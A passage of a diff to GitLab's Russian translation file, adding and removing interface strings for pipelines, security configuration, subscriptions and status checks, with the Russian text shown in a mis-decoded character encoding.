msgid "PackageRegistry|Settings for Maven packages"
msgstr ""
@@ -23551,12 +23982,6 @@ msgstr ""
msgid "PackageRegistry|Show Conan commands"
msgstr ""
-msgid "PackageRegistry|Show Gradle Groovy DSL commands"
-msgstr ""
-
-msgid "PackageRegistry|Show Maven commands"
-msgstr ""
-
msgid "PackageRegistry|Show NPM commands"
msgstr ""
@@ -23653,8 +24078,8 @@ msgstr "Страницы"
msgid "Pages Domain"
msgstr "Домен Pages"
-msgid "Pages getting started guide"
-msgstr "РуководÑтво по работе Ñ Ñтраницами"
+msgid "Pagination|First"
+msgstr ""
msgid "Pagination|Go to first page"
msgstr "Перейти на первую Ñтраницу"
@@ -23668,6 +24093,9 @@ msgstr "Перейти на Ñледующую Ñтраницу"
msgid "Pagination|Go to previous page"
msgstr "Перейти к предыдущей Ñтранице"
+msgid "Pagination|Last"
+msgstr ""
+
msgid "Pagination|Last »"
msgstr "ПоÑледнÑÑ Â»"
@@ -23719,6 +24147,9 @@ msgstr ""
msgid "Password"
msgstr "Пароль"
+msgid "Password (for password-protected Elasticsearch servers)"
+msgstr ""
+
msgid "Password (optional)"
msgstr "Пароль (необÑзательно)"
@@ -23854,6 +24285,9 @@ msgstr ""
msgid "PerformanceBar|Gitaly calls"
msgstr ""
+msgid "PerformanceBar|Memory"
+msgstr ""
+
msgid "PerformanceBar|Redis calls"
msgstr ""
@@ -23932,6 +24366,9 @@ msgstr "РаÑпиÑание Сборочной Линии"
msgid "Pipeline Schedules"
msgstr "РаÑпиÑÐ°Ð½Ð¸Ñ Ð¡Ð±Ð¾Ñ€Ð¾Ñ‡Ð½Ñ‹Ñ… Линий"
+msgid "Pipeline durations for the last 30 commits"
+msgstr ""
+
msgid "Pipeline minutes quota"
msgstr "Квота иÑÐ¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ð½Ð¸Ñ CI в минутах"
@@ -23986,6 +24423,54 @@ msgstr ""
msgid "PipelineCharts|Total:"
msgstr "Ð’Ñего:"
+msgid "PipelineEditorTutorial|A typical GitLab pipeline consists of three stages: build, test and deploy. Each stage can have one or more jobs."
+msgstr ""
+
+msgid "PipelineEditorTutorial|Browse %{linkStart}CI/CD examples and templates%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|Get started with GitLab CI/CD"
+msgstr ""
+
+msgid "PipelineEditorTutorial|GitLab CI/CD can automatically build, test, and deploy your application."
+msgstr ""
+
+msgid "PipelineEditorTutorial|If you’re using a self-managed GitLab instance, %{linkStart}make sure your instance has runners available.%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|In the example below, %{codeStart}build%{codeEnd} and %{codeStart}deploy%{codeEnd} each contain one job, and %{codeStart}test%{codeEnd} contains two jobs. Your scripts run in jobs like these."
+msgstr ""
+
+msgid "PipelineEditorTutorial|Learn more about %{linkStart}GitLab CI/CD concepts%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|Make your pipeline more efficient with the %{linkStart}Needs keyword%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|Resources to help with your CI/CD configuration:"
+msgstr ""
+
+msgid "PipelineEditorTutorial|The pipeline stages and jobs are defined in a %{codeStart}.gitlab-ci.yml%{codeEnd} file. You can edit, visualize and validate the syntax in this file by using the Pipeline Editor."
+msgstr ""
+
+msgid "PipelineEditorTutorial|Use the Visualize and Lint tabs in the Pipeline Editor to visualize your pipeline and check for any errors or warnings before committing your changes."
+msgstr ""
+
+msgid "PipelineEditorTutorial|View %{linkStart}.gitlab-ci.yml syntax reference%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|You can use %{linkStart}CI/CD examples and templates%{linkEnd} to get your first %{codeStart}.gitlab-ci.yml%{codeEnd} configuration file started. Your first pipeline runs when you commit the changes."
+msgstr ""
+
+msgid "PipelineEditorTutorial|âš™ï¸ Pipeline configuration reference"
+msgstr ""
+
+msgid "PipelineEditorTutorial|💡 Tip: Visualize and validate your pipeline"
+msgstr ""
+
+msgid "PipelineEditorTutorial|🚀 Run your first pipeline"
+msgstr ""
+
msgid "PipelineEditor|The CI/CD configuration is continuously validated. Errors and warnings are displayed when the CI/CD configuration file is not empty."
msgstr ""
@@ -24052,6 +24537,9 @@ msgstr "ÐаÑтройки Ñборочных линий Ð´Ð»Ñ '%{project_name}
msgid "Pipelines|API"
msgstr "API"
+msgid "Pipelines|Add a code quality job"
+msgstr ""
+
msgid "Pipelines|Are you sure you want to run this pipeline?"
msgstr ""
@@ -24109,6 +24597,9 @@ msgstr "Группа %{namespace_name} превыÑила квоту минут
msgid "Pipelines|If you are unsure, please ask a project maintainer to review it for you."
msgstr ""
+msgid "Pipelines|Improve code quality with GitLab CI/CD"
+msgstr ""
+
msgid "Pipelines|It is recommended the code is reviewed thoroughly before running this pipeline with the parent project's CI resource."
msgstr ""
@@ -24130,6 +24621,9 @@ msgstr ""
msgid "Pipelines|More Information"
msgstr ""
+msgid "Pipelines|No artifacts available"
+msgstr ""
+
msgid "Pipelines|No triggers have been created yet. Add one using the form above."
msgstr ""
@@ -24184,6 +24678,9 @@ msgstr ""
msgid "Pipelines|This project is not currently set up to run pipelines."
msgstr "Этот проект в наÑтоÑщее Ð²Ñ€ÐµÐ¼Ñ Ð½Ðµ наÑтроен Ð´Ð»Ñ Ð·Ð°Ð¿ÑƒÑка Ñборочных линий."
+msgid "Pipelines|To keep your codebase simple, readable, and accessible to contributors, use GitLab CI/CD to analyze your code quality with every push to your project."
+msgstr ""
+
msgid "Pipelines|Token"
msgstr ""
@@ -24214,9 +24711,6 @@ msgstr ""
msgid "Pipelines|Visualize"
msgstr ""
-msgid "Pipelines|Write pipeline configuration"
-msgstr ""
-
msgid "Pipelines|invalid"
msgstr ""
@@ -24514,9 +25008,15 @@ msgstr ""
msgid "Please provide a name"
msgstr "ПожалуйÑта, укажите имÑ"
+msgid "Please provide a name."
+msgstr ""
+
msgid "Please provide a valid URL"
msgstr ""
+msgid "Please provide a valid URL."
+msgstr ""
+
msgid "Please provide a valid YouTube URL or ID"
msgstr ""
@@ -24553,6 +25053,9 @@ msgstr "ПожалуйÑта, выберите группу."
msgid "Please select a valid target branch"
msgstr ""
+msgid "Please select a valid target branch."
+msgstr ""
+
msgid "Please select and add a member"
msgstr "ПожалуйÑта, выберите и добавьте учаÑтника"
@@ -24562,6 +25065,9 @@ msgstr "ПожалуйÑта, выберите по крайней мере од
msgid "Please select what should be included in each exported requirement."
msgstr ""
+msgid "Please select..."
+msgstr ""
+
msgid "Please set a new password before proceeding."
msgstr ""
@@ -24595,9 +25101,6 @@ msgstr ""
msgid "Please wait while we import the repository for you. Refresh at will."
msgstr "ПожалуйÑта, подождите пока мы импортируем к ваш репозиторий. ОбновлÑйте Ñтраницу по желанию."
-msgid "Plugins directory is deprecated and will be removed in 14.0. Please move this file into /file_hooks directory."
-msgstr ""
-
msgid "Pod does not exist"
msgstr "Под не ÑущеÑтвует"
@@ -24625,6 +25128,9 @@ msgstr ""
msgid "Postman collection"
msgstr ""
+msgid "Postman collection file path or URL"
+msgstr ""
+
msgid "Pre-defined push rules."
msgstr ""
@@ -24781,6 +25287,9 @@ msgstr ""
msgid "Preview"
msgstr "Предварительный проÑмотр"
+msgid "Preview JavaScript projects in the Web IDE with CodeSandbox Live Preview. %{link_start}Learn more.%{link_end} "
+msgstr ""
+
msgid "Preview Markdown"
msgstr "ПредпроÑмотр Markdown"
@@ -25135,8 +25644,8 @@ msgstr "Приватный вклад"
msgid "Profiles|Profile was successfully updated"
msgstr "Профиль уÑпешно обновлен"
-msgid "Profiles|Public Avatar"
-msgstr "Публичный аватар"
+msgid "Profiles|Public avatar"
+msgstr ""
msgid "Profiles|Public email"
msgstr "Публичный email"
@@ -25393,6 +25902,9 @@ msgstr "Проект имеет Ñлишком много %{label_for_message} Ð
msgid "Project info:"
msgstr "Ð˜Ð½Ñ„Ð¾Ñ€Ð¼Ð°Ñ†Ð¸Ñ Ð¾ проекте:"
+msgid "Project information"
+msgstr ""
+
msgid "Project is required when cluster_type is :project"
msgstr ""
@@ -25546,9 +26058,6 @@ msgstr ""
msgid "ProjectService|Must have permission to trigger a manual build in TeamCity."
msgstr ""
-msgid "ProjectService|New issue URL"
-msgstr ""
-
msgid "ProjectService|Perform common operations on GitLab project: %{project_name}"
msgstr ""
@@ -26023,9 +26532,6 @@ msgstr ""
msgid "Projects shared with %{group_name}"
msgstr ""
-msgid "Projects that belong to a group are prefixed with the group namespace. Existing projects may be moved into a group."
-msgstr ""
-
msgid "Projects to index"
msgstr "Проекты Ð´Ð»Ñ Ð¸Ð½Ð´ÐµÐºÑированиÑ"
@@ -26077,12 +26583,6 @@ msgstr "Эта функциональноÑÑ‚ÑŒ требует поддержкÐ
msgid "ProjectsNew|Allows you to immediately clone this project’s repository. Skip this if you plan to push up an existing repository."
msgstr "ПозволÑет вам Ñразу клонировать репозиторий. ПропуÑтите Ñтот пункт, еÑли вы планируете загрузить ÑущеÑтвующий репозиторий."
-msgid "ProjectsNew|Blank"
-msgstr "ПуÑтой"
-
-msgid "ProjectsNew|Blank project"
-msgstr "Ðовый проект"
-
msgid "ProjectsNew|Connect your external repository to GitLab CI/CD."
msgstr ""
@@ -26095,6 +26595,9 @@ msgstr ""
msgid "ProjectsNew|Create a blank project to house your files, plan your work, and collaborate on code, among other things."
msgstr ""
+msgid "ProjectsNew|Create a project pre-populated with the necessary files to get you started quickly."
+msgstr ""
+
msgid "ProjectsNew|Create blank project"
msgstr ""
@@ -26107,9 +26610,6 @@ msgstr "Создать из шаблона"
msgid "ProjectsNew|Create new project"
msgstr ""
-msgid "ProjectsNew|Creating project & repository."
-msgstr "Создание проекта и репозиториÑ."
-
msgid "ProjectsNew|Description format"
msgstr "Ðапишите неÑколько Ñлов про проект"
@@ -26125,21 +26625,18 @@ msgstr ""
msgid "ProjectsNew|Initialize repository with a README"
msgstr "Добавить README файл"
+msgid "ProjectsNew|Migrate your data from an external source like GitHub, Bitbucket, or another instance of GitLab."
+msgstr ""
+
msgid "ProjectsNew|No import options available"
msgstr "Ðет доÑтупных опций импорта"
-msgid "ProjectsNew|Please wait a moment, this page will automatically refresh when ready."
-msgstr "ПожалуйÑта подождите, Ñта Ñтраница автоматичеÑки обновитÑÑ ÐºÐ¾Ð³Ð´Ð° будет готова."
-
msgid "ProjectsNew|Project description %{tag_start}(optional)%{tag_end}"
msgstr "ОпиÑание проекта %{tag_start}(необÑзательно)%{tag_end}"
msgid "ProjectsNew|Run CI/CD for external repository"
msgstr ""
-msgid "ProjectsNew|Template"
-msgstr "Шаблон"
-
msgid "ProjectsNew|Visibility Level"
msgstr "Уровень доÑтупа"
@@ -26887,9 +27384,6 @@ msgstr ""
msgid "Reconfigure"
msgstr ""
-msgid "Recover hidden stage"
-msgstr "ВоÑÑтановить Ñкрытый Ñтап"
-
msgid "Recovering projects"
msgstr ""
@@ -26899,6 +27393,9 @@ msgstr "Коды воÑÑтановлениÑ"
msgid "Redirect to SAML provider to test configuration"
msgstr ""
+msgid "Redirecting"
+msgstr ""
+
msgid "Redis"
msgstr ""
@@ -26999,7 +27496,7 @@ msgstr ""
msgid "Regulate approvals by authors/committers. Affects all projects."
msgstr ""
-msgid "Reindexing Status: %{status}"
+msgid "Reindexing Status: %{status} (Slice multiplier: %{multiplier}, Maximum running slices: %{max_slices})"
msgstr ""
msgid "Rejected (closed)"
@@ -27234,9 +27731,6 @@ msgstr ""
msgid "Remove spent time"
msgstr "Удалить потраченное времÑ"
-msgid "Remove stage"
-msgstr "Удалить Ñтап"
-
msgid "Remove time estimate"
msgstr "Удалить оценку времени"
@@ -27252,6 +27746,9 @@ msgstr "Удалить Ð¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ñ‚ÐµÐ»Ñ Ð¸Ð· группы"
msgid "Remove user from project"
msgstr ""
+msgid "Remove..."
+msgstr ""
+
msgid "Removed"
msgstr ""
@@ -28211,6 +28708,18 @@ msgstr ""
msgid "Runners|New runner, has not connected yet"
msgstr ""
+msgid "Runners|Not connected"
+msgstr ""
+
+msgid "Runners|Offline"
+msgstr ""
+
+msgid "Runners|Online"
+msgstr ""
+
+msgid "Runners|Paused"
+msgstr ""
+
msgid "Runners|Platform"
msgstr ""
@@ -28810,16 +29319,25 @@ msgstr ""
msgid "SecurityConfiguration|Available with %{linkStart}upgrade or free trial%{linkEnd}"
msgstr ""
+msgid "SecurityConfiguration|Available with Ultimate"
+msgstr ""
+
msgid "SecurityConfiguration|By default, all analyzers are applied in order to cover all languages across your project, and only run if the language is detected in the Merge Request."
msgstr ""
+msgid "SecurityConfiguration|Compliance"
+msgstr ""
+
+msgid "SecurityConfiguration|Configuration guide"
+msgstr ""
+
msgid "SecurityConfiguration|Configure"
msgstr ""
-msgid "SecurityConfiguration|Configure via Merge Request"
+msgid "SecurityConfiguration|Configure %{feature}"
msgstr ""
-msgid "SecurityConfiguration|Configure via merge request"
+msgid "SecurityConfiguration|Configure via Merge Request"
msgstr ""
msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
@@ -28834,6 +29352,9 @@ msgstr ""
msgid "SecurityConfiguration|Enable"
msgstr ""
+msgid "SecurityConfiguration|Enable %{feature}"
+msgstr ""
+
msgid "SecurityConfiguration|Enabled"
msgstr ""
@@ -28846,6 +29367,9 @@ msgstr ""
msgid "SecurityConfiguration|Manage"
msgstr ""
+msgid "SecurityConfiguration|Manage scans"
+msgstr ""
+
msgid "SecurityConfiguration|More information"
msgstr ""
@@ -28858,10 +29382,10 @@ msgstr ""
msgid "SecurityConfiguration|SAST Configuration"
msgstr ""
-msgid "SecurityConfiguration|SAST merge request creation mutation failed"
+msgid "SecurityConfiguration|Security Control"
msgstr ""
-msgid "SecurityConfiguration|Security Control"
+msgid "SecurityConfiguration|Security testing"
msgstr ""
msgid "SecurityConfiguration|Status"
@@ -28870,6 +29394,9 @@ msgstr "СтатуÑ"
msgid "SecurityConfiguration|Testing & Compliance"
msgstr ""
+msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
+msgstr ""
+
msgid "SecurityConfiguration|Using custom settings. You won't receive automatic updates on this variable. %{anchorStart}Restore to default%{anchorEnd}"
msgstr ""
@@ -28924,6 +29451,9 @@ msgstr ""
msgid "SecurityReports|Configure security testing"
msgstr ""
+msgid "SecurityReports|Coverage fuzzing"
+msgstr ""
+
msgid "SecurityReports|Create Jira issue"
msgstr ""
@@ -28942,9 +29472,6 @@ msgstr ""
msgid "SecurityReports|Download %{artifactName}"
msgstr ""
-msgid "SecurityReports|Download Report"
-msgstr ""
-
msgid "SecurityReports|Download results"
msgstr ""
@@ -28966,9 +29493,6 @@ msgstr ""
msgid "SecurityReports|Failed to get security report information. Please reload the page or try again later."
msgstr ""
-msgid "SecurityReports|Fuzzing artifacts"
-msgstr ""
-
msgid "SecurityReports|Hide dismissed"
msgstr ""
@@ -29137,6 +29661,9 @@ msgstr ""
msgid "SecurityReports|Your feedback is important to us! We will ask again in a week."
msgstr ""
+msgid "See example DevOps Score page in our documentation."
+msgstr ""
+
msgid "See metrics"
msgstr "ПоÑмотреть метрики"
@@ -29203,6 +29730,9 @@ msgstr "Выберите причину"
msgid "Select a repository"
msgstr "Выберите репозиторий"
+msgid "Select a shared template repository for all projects on this instance."
+msgstr ""
+
msgid "Select a template repository"
msgstr ""
@@ -29437,6 +29967,9 @@ msgstr "Serverless"
msgid "Serverless domain"
msgstr ""
+msgid "Serverless platform"
+msgstr ""
+
msgid "ServerlessDetails|Function invocation metrics require Prometheus to be installed first."
msgstr "Ð”Ð»Ñ Ð¸Ð·Ð¼ÐµÑ€ÐµÐ½Ð¸Ñ Ð²Ñ‹Ð·Ð¾Ð²Ð° функций Ñначала нужно уÑтановить Prometheus."
@@ -29590,9 +30123,6 @@ msgstr ""
msgid "Set due date"
msgstr "УÑтановить дату завершениÑ"
-msgid "Set instance-wide template repository"
-msgstr ""
-
msgid "Set iteration"
msgstr "Задать итерацию"
@@ -29827,9 +30357,6 @@ msgstr ""
msgid "Shared runners are disabled on group level"
msgstr ""
-msgid "Shared runners disabled on group level"
-msgstr ""
-
msgid "Shared runners help link"
msgstr "Справка по общим Runner'ам"
@@ -30072,6 +30599,12 @@ msgstr ""
msgid "Sign-up restrictions"
msgstr "ÐžÐ³Ñ€Ð°Ð½Ð¸Ñ‡ÐµÐ½Ð¸Ñ Ñ€ÐµÐ³Ð¸Ñтрации"
+msgid "SignUp|By clicking %{button_text}, I agree that I have read and accepted the %{link_start}Terms of Use and Privacy Policy%{link_end}"
+msgstr ""
+
+msgid "SignUp|By clicking %{button_text}, I agree that I have read and accepted the GitLab %{link_start}Terms of Use and Privacy Policy%{link_end}"
+msgstr ""
+
msgid "SignUp|First name is too long (maximum is %{max_length} characters)."
msgstr ""
@@ -30165,6 +30698,9 @@ msgstr ""
msgid "SlackService|This service allows users to perform common operations on this project by entering slash commands in Slack."
msgstr ""
+msgid "Slice multiplier"
+msgstr ""
+
msgid "Smartcard"
msgstr ""
@@ -30402,6 +30938,9 @@ msgstr ""
msgid "Something went wrong while setting %{issuableType} confidentiality."
msgstr ""
+msgid "Something went wrong while setting %{issuableType} notifications."
+msgstr ""
+
msgid "Something went wrong while stopping this environment. Please try again."
msgstr ""
@@ -30708,6 +31247,9 @@ msgstr ""
msgid "Speed up your pipelines with Needs relationships"
msgstr ""
+msgid "Spent At"
+msgstr ""
+
msgid "Squash commit message"
msgstr "ОпиÑание Ð´Ð»Ñ Ð¾Ð±ÑŠÐµÐ´Ð¸Ð½ÐµÐ½Ð½Ð¾Ð³Ð¾ (squash) коммита"
@@ -30723,11 +31265,14 @@ msgstr "Сниппет траÑÑировки Ñтека"
msgid "Stage"
msgstr "Этап"
-msgid "Stage data updated"
-msgstr "Данные Ñтапа обновлены"
+msgid "StageName|Build"
+msgstr ""
+
+msgid "StageName|Deploy"
+msgstr ""
-msgid "Stage removed"
-msgstr "Этап удалён"
+msgid "StageName|Test"
+msgstr ""
msgid "Standard"
msgstr ""
@@ -30948,18 +31493,57 @@ msgstr ""
msgid "StatusCheck|API to check"
msgstr ""
+msgid "StatusCheck|Add status check"
+msgstr ""
+
+msgid "StatusCheck|An error occurred deleting the %{name} status check."
+msgstr ""
+
+msgid "StatusCheck|An error occurred fetching the status checks."
+msgstr ""
+
+msgid "StatusCheck|Apply this status check to any branch or a specific protected branch."
+msgstr ""
+
+msgid "StatusCheck|Check for a status response in Merge Requests. Failures do not block merges. %{link_start}Learn more%{link_end}."
+msgstr ""
+
+msgid "StatusCheck|Examples: QA, Security."
+msgstr ""
+
+msgid "StatusCheck|External API is already in use by another status check."
+msgstr ""
+
msgid "StatusCheck|Invoke an external API as part of the approvals"
msgstr ""
+msgid "StatusCheck|Invoke an external API as part of the pipeline process."
+msgstr ""
+
+msgid "StatusCheck|No status checks are defined yet."
+msgstr ""
+
msgid "StatusCheck|Remove status check"
msgstr ""
msgid "StatusCheck|Remove status check?"
msgstr ""
+msgid "StatusCheck|Service name"
+msgstr ""
+
+msgid "StatusCheck|Status checks"
+msgstr ""
+
msgid "StatusCheck|Status to check"
msgstr ""
+msgid "StatusCheck|Target branch"
+msgstr ""
+
+msgid "StatusCheck|Update status check"
+msgstr ""
+
msgid "StatusCheck|You are about to remove the %{name} status check."
msgstr ""
@@ -30993,9 +31577,6 @@ msgstr ""
msgid "StatusPage|Status page URL"
msgstr ""
-msgid "StatusPage|Status page frontend documentation"
-msgstr ""
-
msgid "StatusPage|To publish incidents to an external status page, GitLab stores a JSON file in your Amazon S3 account at a location that your external status page service can access. Make sure to also set up %{docsLink}"
msgstr ""
@@ -31050,6 +31631,9 @@ msgstr "Хранилище:"
msgid "StorageSize|Unknown"
msgstr "ÐеизвеÑтный"
+msgid "Subgroup information"
+msgstr ""
+
msgid "Subgroup milestone"
msgstr ""
@@ -31155,6 +31739,9 @@ msgstr ""
msgid "Subscription deletion failed."
msgstr ""
+msgid "Subscription service outage"
+msgstr ""
+
msgid "Subscription successfully applied to \"%{group_name}\""
msgstr ""
@@ -31266,6 +31853,9 @@ msgstr ""
msgid "Successfully approved"
msgstr ""
+msgid "Successfully banned"
+msgstr ""
+
msgid "Successfully blocked"
msgstr "УÑпешно заблокировано"
@@ -31290,6 +31880,9 @@ msgstr "УÑпешно запланирован запуÑк Ñборочной
msgid "Successfully synced %{synced_timeago}."
msgstr ""
+msgid "Successfully unbanned"
+msgstr ""
+
msgid "Successfully unblocked"
msgstr "УÑпешно разблокировано"
@@ -31401,42 +31994,93 @@ msgstr "Сводка"
msgid "Sunday"
msgstr "ВоÑкреÑенье"
+msgid "SuperSonics|Activate"
+msgstr ""
+
+msgid "SuperSonics|Activate subscription"
+msgstr ""
+
msgid "SuperSonics|Activated on"
msgstr ""
+msgid "SuperSonics|Activation code"
+msgstr ""
+
+msgid "SuperSonics|An error occurred while activating your subscription."
+msgstr ""
+
+msgid "SuperSonics|Billable users"
+msgstr ""
+
+msgid "SuperSonics|Buy subscription"
+msgstr ""
+
+msgid "SuperSonics|Enter activation code"
+msgstr ""
+
msgid "SuperSonics|Expires on"
msgstr ""
+msgid "SuperSonics|Free trial"
+msgstr ""
+
+msgid "SuperSonics|Get help for the most common connectivity issues by %{linkStart}troubleshooting the activation code%{linkEnd}."
+msgstr ""
+
+msgid "SuperSonics|I agree that my use of the GitLab Software is subject to the Subscription Agreement located at the %{linkStart}Terms of Service%{linkEnd}, unless otherwise agreed to in writing with GitLab."
+msgstr ""
+
msgid "SuperSonics|ID"
msgstr ""
msgid "SuperSonics|Last Sync"
msgstr ""
+msgid "SuperSonics|Learn how to %{linkStart}activate your subscription%{linkEnd}."
+msgstr ""
+
msgid "SuperSonics|Licensed to"
msgstr ""
msgid "SuperSonics|Manage"
msgstr ""
+msgid "SuperSonics|Maximum users"
+msgstr ""
+
+msgid "SuperSonics|Paste your activation code"
+msgstr ""
+
msgid "SuperSonics|Plan"
msgstr ""
+msgid "SuperSonics|Ready to get started? A GitLab plan is ideal for scaling organizations and for multi team usage."
+msgstr ""
+
msgid "SuperSonics|Renews"
msgstr ""
msgid "SuperSonics|Seats"
msgstr ""
+msgid "SuperSonics|Start free trial"
+msgstr ""
+
msgid "SuperSonics|Started"
msgstr ""
+msgid "SuperSonics|Subscription"
+msgstr ""
+
msgid "SuperSonics|Subscription details"
msgstr ""
msgid "SuperSonics|Sync subscription details"
msgstr ""
+msgid "SuperSonics|The activation code is not valid. Please make sure to copy it exactly from the Customers Portal or confirmation email. Learn more about %{linkStart}activating your subscription%{linkEnd}."
+msgstr ""
+
msgid "SuperSonics|The subscription details synced successfully."
msgstr ""
@@ -31446,18 +32090,48 @@ msgstr ""
msgid "SuperSonics|This field is required."
msgstr ""
+msgid "SuperSonics|This is the highest peak of users on your installation since the license started."
+msgstr ""
+
+msgid "SuperSonics|This is the number of %{billableUsersLinkStart}billable users%{billableUsersLinkEnd} on your installation, and this is the minimum number you need to purchase when you renew your license."
+msgstr ""
+
+msgid "SuperSonics|To activate your subscription, connect to GitLab servers through the %{linkStart}Cloud Licensing%{linkEnd} service, a hassle-free way to manage your subscription."
+msgstr ""
+
msgid "SuperSonics|Type"
msgstr ""
+msgid "SuperSonics|Upload a legacy license"
+msgstr ""
+
+msgid "SuperSonics|Users in subscription"
+msgstr ""
+
+msgid "SuperSonics|Users over subscription"
+msgstr ""
+
+msgid "SuperSonics|Users with a Guest role or those who don't belong to a Project or Group will not use a seat from your license."
+msgstr ""
+
msgid "SuperSonics|Valid From"
msgstr ""
+msgid "SuperSonics|You can learn more about %{activationLinkStart}activating your subscription%{activationLinkEnd}. If you need further assistance, please %{supportLinkStart}contact GitLab Support%{supportLinkEnd}."
+msgstr ""
+
msgid "SuperSonics|You can no longer sync your subscription details with GitLab. Get help for the most common connectivity issues by %{connectivityHelpLinkStart}troubleshooting the activation code%{connectivityHelpLinkEnd}."
msgstr ""
+msgid "SuperSonics|You can start a free trial of GitLab Ultimate without any obligation or payment details."
+msgstr ""
+
msgid "SuperSonics|You do not have an active subscription"
msgstr ""
+msgid "SuperSonics|You'll be charged for %{trueUpLinkStart}users over license%{trueUpLinkEnd} on a quarterly or annual basis, depending on the terms of your agreement."
+msgstr ""
+
msgid "SuperSonics|Your subscription"
msgstr ""
@@ -31476,6 +32150,9 @@ msgstr ""
msgid "Survey Response"
msgstr ""
+msgid "Switch Branch"
+msgstr ""
+
msgid "Switch branch/tag"
msgstr "Переключить ветка/тег"
@@ -31698,6 +32375,9 @@ msgstr "Шаблон"
msgid "Template to append to all Service Desk issues"
msgstr "Шаблон Ð´Ð»Ñ Ð´Ð¾Ð±Ð°Ð²Ð»ÐµÐ½Ð¸Ñ ÐºÐ¾ вÑем обÑуждениÑм Ñлужбы поддержки"
+msgid "TemplateRepository|Select a repository to make its templates available to all projects. %{link_start}What should the repository contain?%{link_end} "
+msgstr ""
+
msgid "Templates"
msgstr "Шаблоны"
@@ -31856,9 +32536,6 @@ msgstr "ТеÑÑ‚"
msgid "Test Cases"
msgstr ""
-msgid "Test cases are not available for this project"
-msgstr ""
-
msgid "Test coverage parsing"
msgstr "Обработка Ð¿Ð¾ÐºÑ€Ñ‹Ñ‚Ð¸Ñ Ñ‚ÐµÑтами"
@@ -32002,6 +32679,9 @@ msgstr ""
msgid "Tests"
msgstr "ТеÑÑ‚Ñ‹"
+msgid "Text style"
+msgstr ""
+
msgid "Thank you for signing up for your free trial! You will get additional instructions in your inbox shortly."
msgstr "СпаÑибо, что подпиÑалиÑÑŒ на беÑплатный пробный период. Ð’Ñкоре мы отправим дополнительные инÑтрукции на ваш почтовый Ñщик."
@@ -32032,7 +32712,7 @@ msgstr ""
msgid "The \"%{group_path}\" group allows you to sign in with your Single Sign-On Account"
msgstr "Группа \"%{group_path}\" позволÑет вам войти в ÑиÑтему Ñ Ð¿Ð¾Ð¼Ð¾Ñ‰ÑŒÑŽ учетной запиÑи единого входа"
-msgid "The \"Require approval from CODEOWNERS\" setting was moved to %{banner_link_start}Protected Branches%{banner_link_end}"
+msgid "The %{featureName} feature is part of your GitLab Ultimate trial."
msgstr ""
msgid "The %{link_start}true-up model%{link_end} allows having more users, and additional users will incur a retroactive charge on renewal."
@@ -32057,6 +32737,9 @@ msgstr ""
msgid "The Compliance Dashboard gives you the ability to see a group's merge request activity by providing a high-level view for all projects in the group."
msgstr ""
+msgid "The GitLab subscription service (customers.gitlab.com) is currently experiencing an outage. You can monitor the status and get updates at %{linkStart}status.gitlab.com%{linkEnd}."
+msgstr ""
+
msgid "The GitLab user to which the Jira user %{jiraDisplayName} will be mapped"
msgstr ""
@@ -32250,6 +32933,9 @@ msgstr "Импорт будет отключен поÑле %{timeout}. Ð”Ð»Ñ Ñ
msgid "The interval must be one of %{intervals}."
msgstr ""
+msgid "The invitation can not be found with the provided invite token."
+msgstr ""
+
msgid "The invitation could not be accepted."
msgstr "Приглашение не может быть принÑто."
@@ -32295,6 +32981,9 @@ msgstr ""
msgid "The maximum file size is %{size}."
msgstr ""
+msgid "The maximum number of slices allowed to run concurrently during Elasticsearch reindexing. Learn more about %{max_slices_running_link_start}maximum running slices configuration%{max_slices_link_end}."
+msgstr ""
+
msgid "The maximum number of tags that a single worker accepts for cleanup. If the number of tags goes above this limit, the list of tags to delete is truncated to this number. To remove this limit, set it to 0."
msgstr ""
@@ -32313,9 +33002,6 @@ msgstr "Конфликты ÑлиÑÐ½Ð¸Ñ Ð´Ð»Ñ Ñтого запроÑа на
msgid "The merge request can now be merged."
msgstr "Теперь можно выполнить Ð·Ð°Ð¿Ñ€Ð¾Ñ Ð½Ð° ÑлиÑние."
-msgid "The merge request has made changes to this file that affect the number of code quality violations in it."
-msgstr ""
-
msgid "The metric must be one of %{metrics}."
msgstr ""
@@ -32619,9 +33305,6 @@ msgstr ""
msgid "There are running deployments on the environment. Please retry later."
msgstr ""
-msgid "There is a connectivity issue"
-msgstr ""
-
msgid "There is a halted Elasticsearch migration"
msgstr ""
@@ -32688,12 +33371,6 @@ msgstr ""
msgid "There was a problem fetching users."
msgstr ""
-msgid "There was a problem refreshing the data, please try again"
-msgstr ""
-
-msgid "There was a problem saving your custom stage, please try again"
-msgstr "Произошла ошибка при Ñохранении пользовательÑкого Ñтапа, пожалуйÑта, попробуйте ещё раз"
-
msgid "There was a problem sending the confirmation email"
msgstr "Произошла ошибка при отправке пиÑьма Ñ Ð¿Ð¾Ð´Ñ‚Ð²ÐµÑ€Ð¶Ð´ÐµÐ½Ð¸ÐµÐ¼"
@@ -32721,6 +33398,9 @@ msgstr ""
msgid "There was an error fetching configuration for charts"
msgstr "Произошла ошибка при загрузке конфигурации Ð´Ð»Ñ Ð´Ð¸Ð°Ð³Ñ€Ð°Ð¼Ð¼"
+msgid "There was an error fetching content, please refresh the page"
+msgstr ""
+
msgid "There was an error fetching data for the selected stage"
msgstr "Произошла ошибка при получении данных Ð´Ð»Ñ Ð²Ñ‹Ð±Ñ€Ð°Ð½Ð½Ð¾Ð³Ð¾ Ñтапа"
@@ -32784,9 +33464,6 @@ msgstr ""
msgid "There was an error removing the e-mail."
msgstr "Произошла ошибка при удалении Ñлектронной почты."
-msgid "There was an error removing your custom stage, please try again"
-msgstr "Произошла ошибка при удалении пользовательÑкого Ñтапа, пожалуйÑта, попробуйте ещё раз"
-
msgid "There was an error resetting group pipeline minutes."
msgstr "Произошла ошибка при ÑброÑе минут Ñборочной линии группы."
@@ -32829,9 +33506,6 @@ msgstr ""
msgid "There was an error updating the dashboard, branch named: %{branch} already exists."
msgstr ""
-msgid "There was an error updating the stage order. Please try reloading the page."
-msgstr ""
-
